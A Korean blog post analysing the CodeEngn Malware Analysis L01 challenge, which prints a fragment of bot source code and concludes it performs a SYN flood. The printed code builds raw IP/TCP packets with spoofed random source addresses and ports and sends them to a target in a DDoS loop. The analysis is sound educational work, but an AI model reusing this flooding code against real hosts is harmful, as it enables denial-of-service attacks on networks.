본문 바로가기

Malware Analysis

[CodeEngn] Malware Analysis L01

악성코드 분석 첫 번째 문제.

문제들을 보면 악성코드 소스의 일부분이라고 되어있다.

소스 코드의 일부분이므로 실행되지 못할 것이기 때문에, 로컬에서 압축을 풀고 코드를 볼 수 있다.

 

# LAYER 2
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(TargetPort);
addr_in.sin_addr.s_addr=TargetIP;

# IP HEADER
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=TargetIP;

# TCP HEADER
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384);
tcpHeader.th_urp=0;
tcpHeader.th_ack=0;

lTimerCount=GetTickCount();


while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0;
tcpHeader.th_dport=htons(TargetPort);

psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);

tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;

if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);

Sleep(delay); 
}

xClose(sock);

문제 코드는 위와 같다.

 

중요하게 본 것은 대략 다음과 같다.

1. SrcAddress, DestAddress

2. 보내는 패킷의 양

 

코드의 흐름은 그냥 각 layer마다 패킷의 내용을 채워주고서 socket으로 보내주는 것이다.

중간에 while 문이 사용되었다.

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)

정확히 무슨 값인지는 모르겠지만 DDOS라는 문자가 보이고, 한 번만 실행되는 것은 아닌 것처럼 보인다.

 

즉, 많은 양의 패킷을 보낸다는 것을 알 수 있다.

그런데, 목적지 주소는 하나로 고정되어있다.

 

Target이라는 단어가 쓰였다. 공격하고자 하는 목표에게로 많은 양의 패킷을 보낼 것 같다.

 

출발지 주소에 대해서는 아래 코드의 내용들이 있다.

SpoofIP라고 되어있는데, Spoof는 속인다는 뜻이다.

즉, source ip주소는 조작된 주소가 보내질 것이다.

이에 관해 아래와 같은 코드가 while 문 안에 있다.

 

아까 위에서는 lSpoofIP이고 바로 위에서는 szSpoofIP로 변수 이름은 다르다.

하지만 추측하기로는 szSpoofIP로 정해진 랜덤 주소가 lSpoofIP로 될 것 같다.

이 문제는 소스코드의 일부분만을 보여주므로 이러한 부분은 생략되어 있는 것 같다.

 

결론

출발지 주소를 속여가며 목적지 주소에 대량의 패킷을 보낸다.

즉 Syn Flooding 공격을 의심할 수 있다.

 

주의할 점:

'Malware Analysis' 카테고리의 다른 글

[CodeEngn] Malware Analysis L06  (0) 2023.08.06
[CodeEngn] Malware Analysis L05  (0) 2023.08.06
[CodeEngn] Malware Analysis L04  (0) 2023.08.06
[CodeEngn] Malware Analysis L03  (0) 2023.08.06
[CodeEngn] Malware Analysis L02  (0) 2023.08.06